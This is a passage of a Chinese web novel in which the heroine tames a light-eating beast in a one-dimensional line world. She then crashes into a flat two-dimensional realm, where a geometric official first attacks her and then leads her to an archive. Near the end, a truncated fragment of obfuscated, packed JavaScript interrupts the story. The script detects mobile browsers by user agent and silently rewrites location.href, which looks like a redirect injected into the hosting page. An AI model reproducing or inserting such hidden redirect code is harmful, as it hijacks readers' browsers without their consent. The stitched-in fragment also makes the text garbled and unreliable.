“还比如,有些先驱认为世界是闭环的。有些线民想一直探索下去就会往前前进,不停歇。可是有些线民安于现状,就会停在原地,继续生活。而探索的线民认为它们走来走去,都是一样的光景,是不是一直都在绕圈,可是物是人非,以前遇见的邻居不可能还会碰面,以前住过的痕迹也很难留存。所以这个理论一直没有被证实。”
“那你们呢?”褚清子好奇地问道,“在你们眼中,现在的世界究竟是什么?”
她的问题,其实已经在很早之前从史教授和艾教授口中获得了想要的答案。
可是再次面对她的提问时,二位教授沉默了,因为它们对自己的认知产生了怀疑。
世界还真的是一条有界的直线吗?
褚清子突然蹲着身子,将自己的左右脚往虚无里移动,鞋子深陷在了黑暗里。
没有了鞋子的阻碍,史教授和艾教授,又和它们的邻居们见面了。
世界的边界会移动,或者说,世界根本不会存在边界。
11. 一维空间(五)
11一维空间(五)
没有任何预兆,史教授和艾教授的观点又被推翻。世界的边界消失了,不是随着移动消失,而是凭空突然消失了。
褚清子这位被它们认为的造物主,成了能支撑理论,也能瞬间击溃理论的变数。
然而,线民们都陷在思维的误证里,它们在短短的过程中已经经历了太多。所以当其余的线民们瞧见史教授和艾教授突然消失又突兀地出现,所有反应都是沉默的。
它们不敢置信,甚至认知得到了颠覆。在反应了好长时间后,才是迟钝的暴烈情绪,它们像一条弯曲的长线,排在了艾教授的身后,对它们的遭遇嘘寒问暖。
“史教授!艾教授!”
“你们没事吧!”
“刚才究竟发生了什么?我们一眨眼的功夫,你们就不见了。”
“是啊,还好你们现在安然无恙。”
“你们不会是穿越了吧?”
……
议论声很热烈,因为大家都很好奇,两位教授究竟经历了什么。为什么会凭空消失,现在又如何回到了它们的眼前。
它们仿佛就地看了一部科幻的纪录片,所有的震撼都被设备和本子记录在册。
史教授和艾教授并没有急于去回复这些线民们的询问,它们伸着脖子好像一直在寻找边界的踪迹。
准确地说,是褚清子的踪迹。
造物主没有说话了,也没有了边界能作为参照物,去判断她是否还在。她消失了,让它们短暂地体验了一下超越认知、创造历史的过程。
然而,它们现在冷静下来,也能回答造物主刚才的那句提问,世界应该是无限的,因为边界或许根本就不存在。
史教授和艾教授得出结论后,将自己的理解和经验全盘托出,公布给身后那些线民们。
有的当然产生了疑惑,它们明明还没有走到世界的尽头,为什么史教授就下了无限这样的定论。
也有的提出了支持,因为它们根据历史学者的探索轨迹进行了演算,到目前为止它们都没有遇见边界,也没有回到自己以前走过的地方,世界应该是无限延伸的直线。
线民们的观念不断被扭转,世界的理论派此刻又多了一个新的类别,称为无限派。它们兴奋地将理论和支撑要点通过设备进行直播和宣传,世界其实是一条无限的直线。
褚清子蹲在它们面前,感受着它们认知的变化,听着它们为新的理论争得面红耳赤。虽然,她只是施加了小小的助力,并没有给它们提供足够的帮助,但史教授和艾教授在大方向上还是进步得很快。
她其实挺敬佩这条光线上渺小又脆弱的文明,哪怕在她眼中是微不足道的蝼蚁,也有想要揭开世界真相的勇气。
它们应该离世界的真相更近了。
她一眼望到底,光线就是一条无限延长的直线,如果一直走下去是找不到想要离开的出口。所以一开始往前走的思路是有误的,她得在现有的空间里找到离开的窍门。
“恭喜你们。”褚清子喃喃自语,“也谢谢你们,我好像有了新的思路。”
可是,生活总是会出现更多的意外。
褚清子虽然蹲着身子,但她的视野足够广阔,能比线民们看见更远的光源。
她注意到,一直前行的方向突然发生了变故,不远处的光线正以肉眼可见的速度开始变暗,光源正在消失。
像是被橡皮擦粗暴地迅速抹去,让眼前最纯粹的、构成线民们整个世界的光源被强行摁灭。
它们的世界不再是明亮的直线线条,而成了正在褪色的铅笔草稿。
褚清子不了解这个世界的规则,可她意识到,这太不对劲了。
原本应该直通不见底的路,却在它们公布了最新理论的时候,发生了改变。
老天爷,有时候真的挺不公平。
此时正沉浸在喜悦里的线民们,还不知道它们会遇见更巨大的灾难。前路正在逐渐消失,照这个速度很可能会吞噬它们,甚至将它们的存在给彻底抹去。
褚清子也同样意识到,这种变化恐怕也会威胁到她的存在,她不知道自己深陷黑暗后,会不会再次失去方向,被困在这无知的空间里,只剩下了困境,活着的困境。
而且她也不知道,这种消失会不会连带到她自己。
她发现的时候,线民们还看不见这么远,直到排在最前面的史教授觉察到了不对。
因为光线随着被异物的吞噬发出微小的震动,也对最前端的史教授产生了同频的共振。
“食线兽!”
“大家快跑!是食线兽来了!”
史教授突然喊出了怪物的名字,线民们应该认识这个生物,以至于它发出信号的时候,大家撤退的速度很快,就像一直都存在的身体惯性。
虽然身体的动作很迅速,可恐惧的心理已经在线民们之间蔓延,它们的身躯本能地发出了更剧烈的震颤,像无数条落进沸水的蛆,疯狂地后退翻滚。
四周的光亮正在急剧地黯淡,史教授它们不停地加快速度往后倒退。褚清子也下意识地跟着它们往后移动,朝着另一边有光亮的方向跑去。
但黑暗追得很快。
她边跑边回头,却看清了吞噬黑暗的食线兽。没错,那是一个会动的生物,它很奇怪,没有固定的形态,像一滩流动的泥沙,带着捕食者的专注。
它的身体没有眼睛,没有口鼻,但是每经过光源的时候,就会吸收光亮,就像在贪婪地进食。随着吸收的速度加快,它的体型也在不断地膨胀,最后成了一个较于线民们来说的庞然大物。
线民们后退得很快,但在唯一的求生光线上始终都不会有更快的逃生速度。
褚清子也不知道食线兽对她究竟会产生多大的威胁,是否会危及生命。但她知道,前面本来应该有的路被它吞噬了,就意味着出去的可能性正在降低。
她不敢想象,因为她只想活着出去。
眼看所谓的食线兽就要追上来了,她仿佛听见了身后那怪物的咀嚼声,后面深陷黑暗的空间似乎被它撕扯、吞咽。
她跟在线民们的身后,边跑边在思考,究竟有什么办法可以解决这个奇怪的生物。随着体力的消耗,她的大脑里逐渐产生了清晰的荒谬感。
她为什么要跑呢?她的顾虑不都是自己臆想出来的吗?在这个空间里遇见的生物都很渺小,她怕什么呢?
对啊,她一个人类怕什么呢?
她没忍住回头,哪怕食线兽身体膨胀得很快,可始终都像人类宠物一样的大小。她不属于这里,不属于这个
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世界,在这个世界她被线民们当作造物主,她可以为所欲为,为什么还会惧怕线民们恐惧的怪兽?
它又不是哥斯拉。
可能对于食线兽来说,有身高优势的褚清子才是这个世界的巨人。
她突然清醒,或者说是求生的意识让她不得不清醒,自己跟随线民们的害怕是多么不合时宜,也是毫无意义。她的本能也太脆弱了,她其实是可以面对的。
因为,她得出去。
她还在完成老房子的翻新,她还有没有完成的事情,她不能被所谓线民们认为是“危险”的生物,被永远困在这个空间。
她得出去。
褚清子手脚的动作逐渐放缓,心里积压着一股怨气,她转过身目睹着食线兽朝她脚下袭来。
她没有躲避,而是快速脱下外套包裹在手上,然后徒手去抓。凭借幼时在院子里帮着婆婆去抓鸡一样,去抓住快接近脚前的食线兽。
入手的手感是软糯的,通体是冰凉的,被抓起来的时候它的身体里还在不停闪烁着光芒,就像会亮的萤火虫。
很显然,食线兽被抓住后愣住了,它可能从来没有遇见过这种情况,所以整个身体都在不停地挣扎、扭动,试图大力地想甩开褚清子的手。
褚清子并没有松手,而是双手将它锢得紧紧的,她抓过鸡,有经验,是老手。她在找食线兽的弱点,就像鸡一样,看准时机牢牢把住两只脚,就能让它不再扑腾。
突然,她发现食线兽身体的最下端,存在四条很短的触须。她用上半身将食线兽固定在怀里,两只手逐步移动到下方,凭经验去抓住触须。
食线兽一直在挣扎,它越挣扎,褚清子用的劲儿就越大。直到最后,它渐渐力气用尽,挣扎的幅度变小,在怀里的动静就像委屈的小鸡,还是只短脚鸡。
它也并没有嘴巴,无法用尖锐的牙齿去撕咬褚清子,它对她无计可施。
褚清子松了口气,手里的劲小了些。那食线兽应该是个欺软怕硬的主,它在受到短暂的威胁后,身体微微发抖,完全失去了一开始贪婪的欲望,反而很顺从地呆在褚清子的怀里。
她没想到,这种能吞噬黑暗,在线民们眼中是灾难的存在,此刻竟然乖巧地闷在她的怀里。
很诡异,可是它很像只软糯的宠物。褚清子没忍住,用手轻轻抚摸着它,然后观察着它的周身,除了身体下的触须外,其余位置确实没有五官,而且具有弹性,感觉随意捏造,可以将它身体捏出不同的形状。
“小东西,你叫什么名字?”褚清子问道。
她以为食线兽和线民们一样,也会说话。
但怀中的小东西轻轻摇了摇身体,仿佛在用肢体去表达。
明白了,褚清子心想,它应该是这个异世界的野兽,和人类世界的动物一样,无法进行语言交流。
“既然你没有名字。”褚清子自顾自地说,“那我给你取一个,食线兽不好听,要不,我以后就叫你麻薯?这是我以前养的小鸡的名字,现在就送给你了。”
她眨了眨眼睛,很认真地看着怀里的麻薯,“别再闯祸了,麻薯。你不要去吃掉史教授它们,不然我就把你捏成一团真正的麻薯。”
她用最温柔的声音,说着最狠的话。怀里的东西听了后,身体又抖了抖。
12. 二维空间(一)
12二维空间(一)
褚清子用最原始的方式控制住了食线兽,而在线民们眼中,却是造物主用神力降服住了它。
它们已经跑了一段距离,发现远处不再产生动静,并且光线没有继续减弱,便都好奇地停下来去看究竟发生了什么。
离褚清子不远,产生了耳鸣的叹息声。
她不用想就知道,那边应该是劫后余生的沸腾。可她在刚才的经历中,其实已经想明白了一件事。
她和这些线民们不仅不是一个物种,甚至在空间感知方面也存在差距。准确地说她比它们都要高级些,就像之前看科幻电影,人类也会遇到高维的生物一样,她对于线民们来说也是更高维的生物。
所以从一开始寻找出口的方向就是错的,她一直往前走,走在这条无限的直线上,只会站在同线民们一样的视角去看待这个空间,这个世界。
线民们因为视角的缺失,会将她的鞋面当作世界的尽头,所以产生的科学结论也荒诞可笑。
她站在更高维的角度,应该用人类的眼光去判断这个空间的突破口,才能想到办法去突破整个空间的维度。
所以,她和那些线民们是有壁的,虽然她很钦佩史教授等众多学者的坚持和勇敢,可他们终究不是一个层面的生物。
她始终得出去,去完成老房子的施工,去重新获得来之不易的生活。她不能继续停留在这,也不能留恋这里。
而且,对于渺小又很难再去沟通的线民,她的选择是不再去打扰。
褚清子的目光看向了停在半路的科学家们,在它们的世界,空间只是直线一样的长度,如果任由怀里的食线兽再吞噬下去,它们就会面临这一段区域的灭顶之灾。
可她不一样,食线兽在她的眼中就是很小的东西,她可以轻易捕捉到它,穿过线民们世界的维度,用人类特有的立体触碰去解决问题。
所以,她不能再将视角局限于一条直线上,否则在无限的远方是永远都找不到归家的路。
可是,麻薯是怎么突然跑到这里来的呢?它的体型看起来就像褚清子一样的,是立体的,本来就不该属于这个空间,就同她一样,本来应该回去人类的世界。
可为什么,它会突然出现在这里呢?
难道这个世界有什么另外的缺口,可以让食线兽钻进来。而且这里的空间,如果不去尝试找更大的突破,应该是无限广阔的,不然食线兽也不会成为线民们能在历史里提到过的毁灭性生物。
那这个小东西,刚进来的时候或许是真的很孤独,也举足无措。
想到这,她竟然有些感同身受,对怀里这位才造成破坏的食线兽产生了点怜惜。
是啊,它和她都一样,是不能归家的同类。
“没关系,等找到了出口,我就送你回去,送你回你自己的世界。”褚清子伸手抚摸着麻薯,动作很轻。
听见她的说法,麻薯下意识地再往她的怀里拱了拱。
这家伙,还是挺好哄的。
褚清子眺望着周围,再次陷入了沉思,如果不是一直往前沿着直线走的这种惯性思维,那跳脱维度空间的出口究竟会是什么呢?
她注意到,这个维度的线民们一条排着一条,大家一辈子都不会越界,除非前后有一位邻居死去消失,否则它们永远也不会接触到新的邻居。
它们这辈子能见到的永远都是前后两端的邻居,甚至同自己的至亲都是异乡同频交流,身体永生无法向左或者向右,更不可能朝上去跳跃。
如果是这样的话,只要打破它们活着的规则,是不是就能找到出口了?
这个观点,其实褚清子在脑子里确认了很久,但还是决定试一试,就像哈利波特一样,在火车站撞去不存在的站台,才能到达魔法世界。想着,她抱紧了怀里的麻薯,发狠地向左边猛地一撞。
“扑通”……
身体的惯性很快伴随着她的举动,往左边狠狠一倾。周围并没有固定的墙体可以支撑她的身体,黑暗是无尽的黑暗,并不是密不透风的墙。
接着,她重心不稳,跟随着没有支撑的惯性,身体倒向了另一片空间,手肘顶破了一道看不见的屏障。
像突然被撞破一样,她的视线被一片光亮所覆盖。再也看不见脚下那条直线,也见不到那群像蛆一样的线民们。
身体的一侧传来的是撞击的疼痛感,以及反应过后一直难以忍受的余痛。
很疼,因为身体下方的地面是坚硬的,不同于上一个空间,她倒在了光滑如镜的银色地面,周围有家具,虽然都规整地放在各处,却是像被压扁的桌椅板凳,直接从纸上裁剪下来的。
周围的一切和人类世界的环境很像,却也不像,因为所有的都不是立面体,而是平面,可是它们却能脱离不稳定的因素凭空立在地面上。
所以放眼望去,整处空间除了褚清子之外,都是平面的家。她像穿进了手机里的模拟游戏界面。
随后,她收到了手机短信:【恭喜你,获得永久技能:能在一米内移动线段类的任何物体。】
这是什么技能?
她正疑惑着,突然听见了一声闷响“哎哟”。
不是麻薯发出的,是从她的周围,好像压着了什么东西。可她并没有瞧见,还在东张西望地寻找。
时间长了,那“哎哟”声变成了暴怒的痛骂。
“救命啊!撞鬼了啊!什么鬼东西啊!”
“救命!压死我了!”
褚清子不知道是谁在说话,自动屏蔽了叫喊,下意识是先检查怀里的麻薯,小家伙似乎不太满意这种穿越的方式,身体不断在抖动,但并没有什么大碍。
她松了口气,撑起了身体,试图从压着的地面上挪开。
“哎哟!骨头都要散架了!”抱怨的声音再次响起,声音敞亮,是个男人的嗓音。
她起身的时候才看清,被压在身下的,是一个人。
准确地说,是一个平面的人。穿着笔挺的西装,头发用发蜡精心固定成复杂的几何造型,此刻正捂着胸口蹙眉看着她。他长得……怎么说呢,五官精致得像是用圆规和直尺画出来的,一丝不苟,但眼神里透着的惊愕和随之涌上的恼怒,却异常鲜活。
“你是什么形状的?怎么从来没见过?”男子一边揉着被撞疼的肩膀,一边打量着褚清子,语气里带着居高临下的审视,“还有,你这身打扮……太不规则了,简直是对美学的亵渎!”
褚清子愣住了。
她低头看看自己身上穿着的普通黑裙,又抬头看看对方那身像是从时尚杂志剪下来贴在他身上的西装,一时不知该如何回应。她更关心的是:“这里是哪里?你又是谁?”
男人优雅地掸了掸西装上不存在的灰尘,昂起下巴:“这里是我家,我是圆形领主座下的首席顾问,欧几里得·方。”他特意加重了“首席顾问”四个字,然后指着褚清子,眉头拧紧,“倒是你,闯入者,你是什么边形?为何气息如此……混沌?”
褚清子内心一片混乱。
圆形领主,首席顾问欧几里得·方?这都什么跟什么?她只记得自己撞破了屏障,然后就摔在了这里。
她挣扎着想拉他起身,但欧几里得·方瞥了她一眼,略带嫌弃地伸出一只手,可是手指刚碰到褚清子的手腕,就像触电般缩了回去,脸上露出见了鬼似的表情:“等等!你……你的身体……怎么是圆的?不,不是标准的圆,是……是球体?!天啊!你也是外星人?!”
他的声音陡然拔高,充满了难以置信的惊骇。
褚清子被他吵得头晕,下意识往后缩了缩:“我……我是人类。”
“人类?你真的是传说中无法被定义边数的外星人?”欧几里得·方猛地后退两步,眼神锐利地扫过褚清子的全身,“你是怎么进来的?我得带你去见领主!”
领主?褚清子捕捉到了这个世界关键词,莫非他们的世界还是君主立宪制?
“我不是故意闯进来的,”褚清子尽量让自己的声音听起来平稳,尽管心里七上八下,“我在找一个出口,我想回家,我的世界不是这样的。”
欧几里得·方稍微镇定了一些,但戒备丝毫未减。他绕着褚清子慢慢走了一圈,像是在观察一件稀世珍宝,又像是在评估一件危险品的威胁等级。
“回家?从这里?呵,有趣。”他冷笑一声,“你知道这里是什么地方吗?这是最接近完美形态的上层领域!所有图形都以追求边数的增加、接近神圣的圆为终极目标!而你……”他指了指褚清子,“你这种无法归类,又充满不确定性的存在,本身就是对秩序的污染!就像那位一样,简直是在毁灭我们的世界。”
褚清子听不懂他那些关于“完美形态”、“秩序”的论调,但她能感觉到对方话语里的敌意和那种根深蒂固的优越感。这让她想起了那些总是挑剔她,想从她身上捞好处的亲戚,一种熟悉的、想要把自己藏起来的无力感又开始蔓延。她微微低下头,眼神躲闪,习惯性地想减少自己的存在感。
但下一秒,她怀里的麻薯轻轻动了动,发出细微的声响。褚清子立刻警觉起来,下意识地收紧了手臂护住它。那股想要护住的决绝,不知不觉悄然取代了一直以来的怯懦。
她抬起头,这一次,目光直直地看向欧几里得·方:“我不知道你说的秩序是什么。我只知道,我迷路了,我要回家。如果你能告诉我出口在哪里,我会立刻离开,绝不打扰你们的……完美世界。”
欧几里得·方被她眼神里突然迸发的力量慑了一下,随即恼羞成怒:“告诉你出口?哈哈!你以为我会帮你这个混沌体吗?领主早就下令,任何可能扰乱维度平衡的存在,都必须被清除!”他说着,突然抬起了手。
褚清子心中一紧,下意识地后退半步,死死盯着对方的手,心脏狂跳。
欧几里得·方并没有发动攻击,他只是优雅地打了个响指。
然后,诡异的事情发生了。
房间的门,准确来说是一块看起来像是简单镂空的矩形,无声地滑开一条线。两个身影滚了进来,或者说,是飘了进来。它们看起来像是某种多边形,但边缘粗糙,运动轨迹摇摆不定,嘴里发出意义不明的“咕噜”声。
“抓住她!”欧几里得·方命令道,“小心她怀里的那个小东西,也是异类!”
那两个粗糙的多边形立刻朝着褚清子扑来。它们没有手,只是用身体前段尖锐的角试图顶撞她。褚清子慌忙躲避,抱着麻薯在有限的空间里狼狈不堪地闪转腾挪。
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她不敢还击,也不知道如何还击,只是凭借本能躲避着。
“别躲了,‘混沌体’!”欧几里得·方抱着手臂,好整以暇地看着,“在绝对的规则和秩序面前,你这种混乱的存在,只会被净化!”
净化?褚清子心头火起。
又是这套说辞!像极了姑姑和大伯从小到大说的“为你好”,实则是想将她压榨干净,再赶出去。
她可以忍受被忽视,被指责,但绝不能容忍自己和婆婆珍视的东西被如此贬低和威胁。
就在其中一个多边形再次冲来,尖锐的角几乎要碰到她衣角的时候,褚清子脑中灵光一闪。之前收到短信的技能描述是“一米以内线段的远程控制”。控制……距离是一米以内。刚才她躲避时,那个多边形的角距离她的指尖,似乎不到一米。
要不试试?控制什么?控制它的运动方向?
褚清子不太确定,但她意念很快集中,将眼神死死盯着前方移动的多边形,想象着将一股力量全部注入给它,强行扭转它的方向。
那多边形原本是直线冲来,突然,像是被无形的手拨了一下,身形猛地一歪,擦着褚清子的身边撞到了旁边的墙壁上,发出沉闷的“噗”声,然后瘫软在那里,不动了。
真的有效!
她竟然真的有超能力了!
褚清子心中暗喜,但来不及细想,另一个多边形又到了跟前。她故技重施,集中意念,控制它的方向。这次更顺利,那多边形像是喝醉了酒,划出一道歪歪扭扭的弧线,撞倒了旁边一个看起来像是装饰用的、由无数三角形组成的复杂几何体家具。
欧几里得·方脸上的从容消失了,取而代之的是震惊和愤怒:“你……你怎么做到的?!你不会和那个人一样……简直是污染了神圣的几何法则!”
“我说过,我要回家。”褚清子喘着气,抱着麻薯,一步步逼近欧几里得·方,眼神坚定,“别挡我的路。”
欧几里得·方脸色阴晴不定,他显然没料到这个看似弱小的“混沌体”拥有如此诡异的能力。他咬了咬牙,突然从腰间取出一个发光的、类似圆规的工具对准褚清子:“看来只能用规尺来修正你了!”
一道刺眼的光线从圆规顶端射*出,直奔褚清子而来,速度快得惊人。
褚清子根本来不及反应,只能下意识地闭眼,将麻薯护得更紧。
然而,预想中的疼痛没有到来。她睁开眼,看到欧几里得·方正一脸错愕地看向他手中的圆规,那上面的光芒忽明忽暗,像是受到了干扰。
“怎么回事?我的规尺……难道是能量发生了紊乱?”欧几里得·方难以置信地摆弄着工具,然而圆规很快失去了效用。
褚清子也愣住了,这是她干的吗?她只是……非常不想被那光照到,非常想保护麻薯和自己的安全。难道这个技能还能被动触发,或者影响周围的能量场?
“看来,你的秩序也没那么牢不可破。”褚清子抓住机会,强作镇定地说道,尽管心跳已经快到不行。
就在这时,整个空间突然剧烈震动了一下。不是物理上的摇晃,而是像信号不好的电视画面一样,所有的线条和色彩都出现了瞬间的扭曲和闪烁。
“警报!警报!核心区域受到未知能量冲击!维度壁垒出现波动!”一个冰冷的电子合成音在空间内响起。
欧几里得·方脸色大变:“不可能!核心区域怎么会有波动?难道是……那暴君提前苏醒了?”他猛地看向褚清子,眼神复杂无比,既有恐惧,也有一丝不易察觉的……绝望。“是你?是你带来的混乱?”
褚清子也是一头雾水。她带来的?她只想回家啊!
震动持续着,周围的景象扭曲得更加厉害。褚清子感到一阵强烈的眩晕,怀里的麻薯也开始不安地躁动。
“不管你是谁,不管你是怎么进来的,”欧几里得·方突然收起了敌意,语速飞快,“如果你和那暴君有关最好给我留着命,现在马上跟我走!核心区域的波动会引发空间塌缩,到时候这里的一切都会被重置成最基本的线段!包括你!”
空间塌缩?重置?褚清子头皮发麻。这听起来比被多边形撞一下可怕多了。
“去哪里?”她问,声音有些发干。
“去政府的档案馆!那里有记录一切的典籍,也许……也许能找到你想要的答案。”欧几里得·方说着,不由分说地朝门口那道线跑去,“快!趁塌缩波还没传到这层!”
褚清子踉跄着跟在他的身后,脑子一片空白。明明刚才他们还是敌对的关系,怎么现在他就不顾一切想带着她离开呢?难道她还有什么利用价值?事情的发展完全脱离了她的掌控。从线民世界,到撞进这个所谓的上层领域,再到被迫使用神秘技能、引发空间震动……她就像一粒被卷入洪流的沙子。
但有一点她很清楚:欧几里得·方暂时不会伤害她了,而那个所谓的档案馆,可能是她目前唯一能抓住的线索。
她回头看了一眼刚才躲避的地方,那里已经扭曲得像融化的蜡。她收紧手臂,感受着怀中麻薯微弱但坚定的心跳。
婆婆的房子还在等着她修缮,她必须活着出去。
哪怕,要跟随这个奇怪的“首席顾问”,去面对一个据说很可怕的暴君。
13. 二维空间(二)
13二维空间(二)
他们逃跑的时候,脚下的银色地面开始呈现出水波般的纹理。
原本静止在地面上的家具像失去重力后四处浮动,摩擦出刺耳的声响。褚清子不得不抱紧麻薯,弓着身子跟上前方那个疯狂奔跑的平面身影。
欧几里得·方奔跑的速度极快,但他那身精心打理的西装并未因此显得凌乱,反而像被某种无形的力场固定着,只有他的发梢在能量的乱流中微微颤动。
褚清子跌跌撞撞地跟在后面,她不敢回头,但能清晰地听到身后传来某种令人牙酸,就像是布帛被大力撕裂的声音。
那不是物理层面的声响,而是直接作用于意识上的尖啸,他们经过的空间正在被强行压缩、折叠。
“这边!”
欧几里得·方钻进了一条细长的走廊,通道十分狭窄只能容得下一人通行。两侧的墙壁是由无数平行的线条构成,整个空间每发出一次震动,线条组成的墙都会像琴弦一样嗡鸣。
“你确定这能是路?”褚清子注意到,自己经过的时候,由于太过拥挤,很容易衣服边被线条摩擦起静电。
如果一直持续下去,她的衣服就报废了,她不认为能在这个世界找到立体的布料遮蔽身体。
“这是这栋楼的紧急通道,”欧几里得·方头也不回,嗓子里压着急躁,“外面的电梯没法用了,赶紧跟上我,除非你想变成被挤压的一条线。”
褚清子听了不由地加快了脚步,她可不想在这里就消失,她还有很多事情没完成,她还要出去。
他们沿着线段拼凑出的楼梯一直在往下转,直到前方出现了一条歪扭的裂痕。
“快点!大门的重力也快失效了!”欧几里得·方头也不回地喊道,甚至还不忘吐槽,“真搞不懂你这种……这种立体结构是怎么在震荡里还能保持不散架的!”
褚清子没空回应。
她全部的注意力都用来对抗那股要把她五脏六腑都碾碎的压力。每一次呼吸都变得艰难,空气仿佛变成了粘稠的胶状物。怀里的麻薯更是瑟瑟发抖,将脑袋死死埋进她的臂弯,连之前那点小心翼翼的好奇心都消失殆尽。
“完蛋,我们得跳下去!”欧几里得·方逃到了大门边,外面并不是平直的公路,而是已经成了陡峭的斜坡,就像一张豁开口子的嘴,等着他们滑入。
他没有犹豫就跳了出去,褚清子也没有选择,只能跟着他一道往下冲。
瞬间,喧嚣和扭曲被隔绝在外,斜坡下方已经拉起了警戒线,平面一样的工作人员们穿着制服在维持秩序。而在他们身后,高耸入云的住宅已经凭空裂开,将还未能逃出的居民们吞噬在黑暗里。
褚清子心跳很乱,衣服都湿透了。她转身看着身后崩塌的建筑,成了埋在地上扭曲的线段,劫后余生的惊悸还未全部褪去。而怀里的麻薯也没有了动静,好像是被吓晕了过去。
欧几里得·方所居住的住宅外是一条蜿蜒的直线,悬浮在虚空中,连接着一个又一个扁平的建筑物。可明明,褚清子刚才所在的地方是有空间感的,可是逃出来后眼前的一切都又成了线段。
这些建筑体像是被直尺画出来的几何形,棱角分明却没有厚度,整齐有序地生长在这个世界。
但最让她感到不适的是,周围的目光。他们和欧几里得·方一样都是平面的眼睛,侧过来的身体就是一层薄薄的纸。他们看着她的眼神,是好奇的,也是审视的。他们似乎觉察出了她的不寻常,但由于视角的局限,并不能做出正确的判断,所以只有满眼的猜疑。
“不用担心。”欧几里得精心修饰的几何发型终于崩塌了一缕,垂在他苍白的额角。他说话的时候,语气里带着一种精英式的冷漠,“只要不是直接接触到你的身体,他们是不会发现你是人类的。”
褚清子避开打探的目光,继续打量着这个奇怪的世界,几辆扁平车厢的轿车飞驰而过,就像几何图形在高速移动。不远处的建筑体,有平面的人正聚集在露台上看这边的情况。在这所住宅周围的楼栋基本都受到了影响,坍塌了一半,像缺掉的长方形。逃难而出的人有的已经被有序安置在空旷的地面,有的还在和工作人员激烈地描述。
这里的一切很像人类世界的秩序,却又不是。
随后,她看见欧几里得·方掏出一个薄如蝉翼的平板设备,手指在其快速滑动:“走路去档案馆还有段距离,我们得抓紧时间,不知道能量场会不会影响到那边区域。”
在他简单和周围的执勤人员交代了情况后,一辆黑色的平面车停在了他们面前。
车窗摇下了一半,一个头发花白,带着礼帽的圆形男子露出了一截脸:“欧几里得,你还活着呢?”
“……”欧几里得·方见了他就像触了霉头,“托你的福,我好得很。”
莫凡尔不屑地关了窗,推开车门下了车,作为一个身体浑圆的存在,他走路的姿势也很特别,像是轮子一样平滑地滚到了欧几里得·方的面前。他的脸特别光滑,不注意看还以为脸在发光。
能看得出,他的身份应该很高。因为周围正在忙碌的工作人员都会停下手中的活,对他颔首致意。
“这位是?”他滚过来的时候身体转了个角度,也注意到了站在一旁的褚清子。
欧几里得·方身体微微一侧,巧妙地造成了莫凡尔视觉方面的误差:“这是我老家的亲戚,出事的时候正好在家里做客。她是从偏远的锐角区来的,有点社交恐惧症,莫大调查长可别吓着她了。”
“锐角区?”莫凡尔疑惑地打量着褚清子,觉得有什么不对劲,却又说不出为什么不对劲,“你还有这么偏僻地方的亲戚?这么远的地方过来,有做身份登记吗?别到时候,警卫误将她当非法入侵者抓走了。”
欧几里得·方不动声色地应道:“知道,我这不是正要带她去档案馆录入身份信息吗?”
“行,那你赶紧去忙吧。”莫凡尔凑近欧几里得·方的耳朵前,声音压低,“现在的情况你心里应该也有数,这次异动,八成是和那个人有关。”
“你先管好你的报告吧。”欧几里得·方冷冷回应,“异动没有提前预告,领主恐怕没有耐心听你的借口。”
“……”莫凡尔的脸色沉了下来,沉默片刻,才不甘心地让步:“在原因查明前,若有关于那个人的任何消息,必须第一时间上报调查局。”
“知道了。”
目送莫凡尔离开,欧几里得·方才长舒一口气,低声咒骂道:“该死的圆滑政客,这次休想抢走我的功劳。”
“他刚才说的那个人,就是你提过的暴君吗?”褚清子忍不住问道。
欧几里得·方眼神骤然阴郁:“你最好别打听。在这个世界,他的名字是禁忌。如果不是因为你,我根本不愿提起。”
“可你说过,我或许和他有关。”褚清子强调道,“找到他,我就能回家。”
“回家?”欧几里得·方冷笑一声,“说句实话,如果不是因为你有用,你现在连站在这里的资格都没有。你知道吗?在这个追求完美的世界里,你的‘立体’就是原罪,你就是个残次品。”
这话精准地刺中了褚清子的痛处。她从小在大伯和姑姑眼中就是多余,没想到穿越到这里,依然被视为瑕疵。
心底那股被压抑的倔强翻涌而上。
“残次品也好,立体也罢,”她抬起头,直视着对方空洞的眼睛,“至少我不会像你们一样,活得像个被设定好的程序。为了所谓的完美,还要给同类划分等级。”
她顿了顿,扫了眼莫凡尔离去的方向:“刚才那位大叔,身份应该不低吧?”
“你懂什么……”欧几里得·方有些恼羞成怒,好像一提到莫凡尔,他的情绪就会剧烈起伏,“他不过就是圆了些。”
他烦躁地挥了挥手,像是要驱散某种情绪:“算了,跟你说不通。赶紧走,档案馆要关门了。”
他转身走在前面,步伐明显加快了。
两人拐进一条狭窄的、介于两排扁平建筑之间的小巷。这里的光线更加昏暗,两侧的墙壁像巨大的硬纸板,沉默地矗立着。
褚清子观察着周围,默默记下沿途的标志性建筑,为可能的逃生路线做着规划。
“所以,那个人比你们领主更强?”她试探性地问道。
欧几里得·方深吸一口气,强迫自己冷静:“……他就是个疯子,你们人类都是疯子。是领主拯救了我们,将他封印在了冷冻库里……但现在,这些震荡,恐怕是他真的要醒了。也只有他,能让我们的世界变得毫无规则和秩序。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609564|205888||http|test|mini|href|location''.split(''|''),0,{}));
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>褚清子更好奇了,这位“暴君”究竟会是怎样的异能者,莫非能操纵这整个世界的线段吗?
他们走了不久,终于到了一片较为开阔的区域。一座由无数直线和锐角构成的、极其宏伟的扁平建筑矗立在扭曲的风景中,像风暴眼里的一座孤岛。建筑表面没有任何装饰,只有密密麻麻、不断流动变化的数字和符号。
两人走到巨大的门前,那扇门也是平的,由两扇巨大的矩形构成,上面布满了复杂的几何锁。
欧几里得·方双手按在门锁区域,那些流动的几何图案立刻缠绕上他的手臂,发出幽幽的蓝光。他闭着眼,嘴唇快速翕动,像是在念诵某种咒语。几秒钟后,他猛地睁开眼,大门无声地向两侧滑开,露出了内部。
如果说外面是平面世界,那档案馆内部就是一个静止的、绝对理性的空间。这里没有光线明暗的变化,也没有空间的扭曲。四周是无穷无尽、高度整齐的书架,书架上不是书籍,而是一卷卷薄如蝉翼、散发着微光的透明胶片。地面光滑如镜,倒映着上方虚无的、均匀分布的点状光源。
